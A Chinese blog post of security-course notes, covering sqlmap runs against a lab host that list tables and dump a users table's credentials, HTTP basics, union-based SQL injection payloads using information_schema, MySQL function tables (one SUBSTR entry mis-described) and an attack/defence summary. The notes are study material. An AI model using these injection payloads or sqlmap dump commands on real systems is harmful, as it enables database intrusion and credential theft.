sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test --tables
Database: test
[3 tables]
+--------+
| person |
| users  |
| xss    |
+--------+

爆字段

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users --columns
Table: users
[6 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| address  | varchar(255) |
| email    | varchar(255) |
| id       | int(11)      |
| ip       | varchar(255) |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+

爆数据

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users -C username,password --dump
Database: test
Table: users
[3 entries]
+----------+-----------------------------------------+
| username | password                                |
+----------+-----------------------------------------+
| zhangsan | ahangsandemima                          |
| lisi     | lisidemima                              |
| test     | 098f6bcd4621d373cade4e832627b4f6 (test) |
+----------+-----------------------------------------+

Day5

HTTP协议

请求方法

Get	Post
GET提交的数据会放在URL之后，以?分割和传输数据，参数之间以&相连	POST方法将提交的数据放在HTTP包中的Body
提交的数据大小有限制	数据大小不限制
需要使用RequestQueryString来获取变量值	通过RequestForm获取变量值

URL

状态码

状态码	描述
1xx	请求已接收，继续处理
2xx	请求成功接收并处理
3xx	重定向
4xx	语法错误，无法请求
5xx	服务端错误

请求头

Cookie : 客户端发给服务器证明用户状态的信息

cookie名 : cookie值成对出现，以;分开

Referrer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易绕过

客户端有权改掉发出请求的源页面

响应头

Set-Cookie : 服务器发给客户端的SessionID(被窃取的风险)

Content-Length : 响应body部分的字节长度

可应用于暴力破解的返回信息判断

Location : 重定向用户到另一个页面，可识别身份认证后允许访问的页面

TOP 10漏洞

SQL 注入

原理

参数用户可控
参数代入数据库查询

MYSQL

MySQL5.0之后默认存在一个information_schema的数据库，其中有schemata、tables和columns三个需要注意的表名!

schemata：存储用户创建的所有数据库的库名,其中记录数据库库名的字段为schema_name,记录数据库表名的字段为table_name！

tables:存储该用户创建的所有数据库的库名和表名，其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name

tables:存储该用户创建的所有数据库的库名和表名和字段名，其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name,记录数据库字段名的字段为columns_name!

判断mysql：

and exsits (select count(*) from information_schema.tables)>0

案例：

select schema_name from information_schema;
select table_name from information_schema.tables where table_schema = test;
select column_name from information_schema.columns where table_schema = test and table_name = users;

判断注入类型

id=1' id=1'' id=1';'' 判断字符型

id=1 and 1=1 id=1 and 1=2 判断整型

联合查询

判断注入类型判断为整型注入！
判断字段数id=-1 order by n，结合bp爆破字段数
判断注入位置id=-1 union select 1,1,1,1
在指定位置获取数据库id=-1 union select 1,database(),1,2
获取表名id=-1 union select 1,(select table_name from information_schema.tables where table_schema= test limit 0,1),1,2

id=-1 union select 1,(select group_concat(table_name from information_schema.tables where table_schema= 'test' )),1,2

获取字段id=-1 union select 1,(select group_concat(column_name from information_schema.columns where table_schema= 'test' and table_name='users' limit)),1,2
获取数据id=-1 union select 1,(select group_concat(username) from test.users ),3,4

Grade网站手工注入

测试链接：query.php?user=1'and 1=1# ，注入类型判断为字符型

判断列数：

原创文章，作者：小嵘源码，如若转载，请注明出处：https://www.lcpttec.com/infosafety/

技术小贴

小嵘源码

0 打赏

微信扫一扫

支付宝扫一扫

米哆全民软文推广 V1.8.3 原版出售

上一篇 2019年9月26日下午11:10

服装辅料英文外贸网站整站数据源码出售

下一篇 2019年9月28日上午4:47

技术小贴

CTF-PWN 环境配置

pwntools sudo apt install python-pip python3-pip sudo pip install pwntools 提示安装python-dev可以使用aptitude安装这一步建议挂代理 python >>> import pwn >>> pwn.asm(“xor eax,eax”) …

小嵘源码
2019年9月26日
2.8K00
技术小贴

About A Blog

博客的搭建环境安装安装git 安装node.js 安装hexo npm install -g hexo-cli 测试是否成功安装 $ hexo -v hexo: 3.4.2 生成博客雏形 cd进入一个博客的目录,如D:My Blog 初始化博客 hexo init hexo会将这个文件夹初始化成一个博客专用文件夹，生成过程稍微要点时间，耐心等待。…

小嵘源码
2019年9月30日
2.0K00
技术小贴

靶机渗透之突破fbi

学习目的信息收集漏洞挖掘 impress cms 流量分析突破Tomcat后台 Getshell 权限提升持久控制环境配置下载链接：https://pan.baidu.com/s/1hN7dxPKkkrqhg9Q6I-s9yg 网络配置：使用默认的桥接模式即可！主机发现 ➜ ~ netdiscover -i eth1 -r 192.168.1….

小嵘源码
2019年9月30日
2.4K00
技术小贴

VIRMACH：黑色星期五活动VPS

今天，小编继续来推荐外贸建站服务器VPS。VIRMACH：黑色星期五活动VPS。黑色星期五活动VPS 需要的可以去看一看，附上实时更新的监控！地址：http://virma.ch/2019bf

小嵘源码
2019年11月30日
2.0K01
技术小贴

关于宝塔面板良心插件Nginx防火墙免费版

有人在宝塔官方论坛发布了一款宝塔面板Nginx防火墙免费版。可以使用在centos、debian、ubuntu系统的宝塔面板里。使用逻辑基本和官方版一样（可以说基本相同）。不知道官方能让这个插件存活多久。安装方式，宝塔面板7.0.2版本。找到软件商店 – 第三方应用 – Nginx防火墙免费版1.0。安装即可。让我们来看看界面看了以上界面，是不是感觉非…

小嵘源码
2019年11月15日
1.5K01
技术小贴

靶机渗透之抓住阿三

学习目的 SQL注入图片马上传文件包含漏洞利用反弹Shell 权限提升靶机搭建下载链接提取码: e436 网络配置：选择默认的桥接方式即可！主机发现 ip发现 nmap -sP 192.168.43.1/24 Nmap scan report for 192.168.43.127 Host is up. 端口和服务识别 nmap -p- -A …

小嵘源码
2019年9月30日
2.8K00
技术小贴

Python

基础语法变量变量存储在内存中的值。这就意味着在创建变量时会在内存中开辟一个空间。基于变量的数据类型，解释器会分配指定内存，并决定什么数据可以被存储在内存中。因此，变量可以指定不同的数据类型，这些变量可以存储整数，小数或字符。变量赋值 #coding=utf-8 #!/usr/bin/python counter = 100 # 赋值整型变量 mil…

小嵘源码
2019年9月30日
2.2K01
技术小贴

WordPress插件添加二次元机器人伊斯特瓦尔

这次，小编来给大家介绍一款萌萌的2次元wordpress站点插件。希望大家喜欢，还能帮自己的站点增添点乐趣。在看到别人博客的时候，不经意地发现在左下角有一个漂亮的美女聊天机器人，叫啥伊斯特瓦尔。觉得很新鲜啊，很想给自己的站点也配置一个。在网上一扒拉，发现这个美女叫图灵机器人，wordpress安装起来很简单，申请一个apikey，在安装一个插件就可以愉快…

小嵘源码
2020年2月11日
3.2K15
技术小贴

Linux内核编程之Makefile

总述 Makefile是一个文本形式的数据库文件，其中包含一些规则来告诉make处理哪些文件以及如何处理这些文件。这些规则主要是描述目标文件是从哪些别的依赖文件中产生的，以及用什么命令来执行这个过程。执行make命令时，需要一个 Makefile 文件，以告诉make命令需要怎么样的去编译和链接程序。它会对磁盘上的文件进行检查，如果目标文件的生成或被改动…

小嵘源码
2019年9月26日
1.4K01
技术小贴

悬剑2.0安装与探究

镜像下载 https://pan.baidu.com/s/1yfNwtbEC4blwUw9YloVjmA 解压密码：SecQuan.Org 使用PanDownload，在10M的宽带环境下下载逾十个小时，இ௰இ 镜像导入导入OVF文件快要完成的时候报错：SHA digest of file 悬剑2.0-disk1.vmdk does not match m…

小嵘源码
2019年9月26日
8.0K016
技术小贴

萌萌哒网络聊天室：Fiora聊天室安装与使用教程

说明：Fiora是一款偏二次元的Web多人在线聊天应用，使用Node.js、Mongodb、Socket.io和React编写，使用起来还行，挺简洁的，这里水个搭建教程，有兴趣的可以玩玩。截图功能好友，群组，私聊，群聊文本，图片，代码，url等多种类型消息贴吧表情，滑稽表情，搜索表情包桌面通知，声音提醒，语音播报自定义桌面背景，主题颜色，文本颜…

小嵘源码
2019年11月16日
2.7K04
技术小贴

SEO内容检测神器：摩天楼SEO内容助手工具

SEO内容检测神器：摩天楼SEO内容助手工具。这是我们老师：无忧老大推荐的。小编也亲测过，好使。真的能很详细地检测出来文章的内容质量度，明显是比乐观号要好很多很多。但是这个价格是有点高，小编正在犹豫是否要购买。但是小编最近是转换了工作，在外贸公司做独立站运营与谷歌SEO，所以比较少接触百度SEO了，购买计划先推迟一下下吧。但这个工具确实强大。说到摩天楼内容…

小嵘源码
2019年12月15日
2.7K00

字符串函数	描述
SUBSTR(s, start, length)	将字符串转换为大写
SUBSTRING_INDEX(s, delimiter, number)	返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。
UPPER(s)	将字符串转换为大写
CONCAT(s1,s2…sn)	字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT_WS(x, s1,s2…sn)	同 CONCAT(s1,s2,…) 函数，但是每个字符串之间要加上 x，x 可以是分隔符
LENGTH(s1)	返回s1的长度
CHAR_LENGTH(s)	返回s的字符数

时间函数	描述
NOW()	返回当前时间:2019-07-23 12:00:00
CURDATA()	返回当前日期:2019-07-23
CURTIME()	返回当前时间:19:53:02
WEEK(DATE)	返回日期中的周
YEAR(DATE)	返回日期中的年
DATE_FORMAT(S,pattern)	格式化日期
DATEDIFF(d1,d2)	返回相差天数
DATE_ADD(d,INTERVAL Y TYPE)	给当前日期加上指定类型的Y值
TO_DAYS(date)	计算date举例2000/0/0/0的天数
YEAR() / MONTH()	返回年份 / 月份
LAST_DAY(d)	返回给定日期的月份的最后一天

攻击技术	攻击思路	防御思路
`SQL注入`	`构造恶意sql语句以获取数据库信息及后续操作`	`将sql查询语句做严格过滤与白名单限制，限制数据库用户的权限等`
`XSS`	`操纵前端可控的js脚本，执行恶意代码`	`目前最好的修复方案：通过白名单机制，限制js的使用`
`CSRF`	`伪造页面，以登陆用户的权限执行恶意操作`	`使用跨域验证或Token校验等`
`RCE`	`基于服务端代码的限制不严，使得数据以代码的方式执行执行`	`输入数据严格过滤或白名单处理`
`LFI`	`基于include等文件包含函数的特点，包含指定系统文件或上传脚本`	`使用include包含文件做白名单限制即可`
`文件上传`	`一般基于源码审计，找到方法绕过文件上传限制，提交恶意脚本，常配合文件包含攻击`	`针对用户级别指定安全限制，高保密用户使用白名单，其他用户禁止上传脚本文件以及对常见绕过方法做过滤处理`
`缓冲区溢出`	`基于系统和二进制的攻击，流程为逆向分析，漏洞发现，漏洞利用`	`及时安装各大厂商软件或系统的修复补丁`

信息安全实验

Day1

开班总结

团队

课程计划

大佬闲谈

网络配置

VIM常用操作

文件查看命令ls

进程类命令

ps

kill

提权思路

蜜罐

Web渗透思路

WIFI密码破解思路

Day2

Linux为啥要学

虚拟化闲谈

虚拟化技术

虚拟化软件

参考链接

虚拟机使用闲谈

Centos基础

目录结构

文件及目录命令

ls

pwd

cd

su

mkdir

touch

rm

mv

cp

查看文件目录命令

cat

head

tail

more

less

查找命令

find

grep

通配符

特殊符号

文件权限

chmod

chown

ACL

sbit

sgid

suid

用户与组管理

useradd

passwd

userdel

usermod

groupadd

gpasswd

groupdel

任务

任务内容

新建用户和组

更改文件夹属组

文件夹权限设置

设置文件删除权限

设置读写文件权限

切换用户读访问测试

文件删除测试

文件权限设置

超级管理员xmj1权限设置

Day3

搭建LAMP

发布网站

效果图

使用Tomcat搭建网站

安装JDK

安装Maven

安装git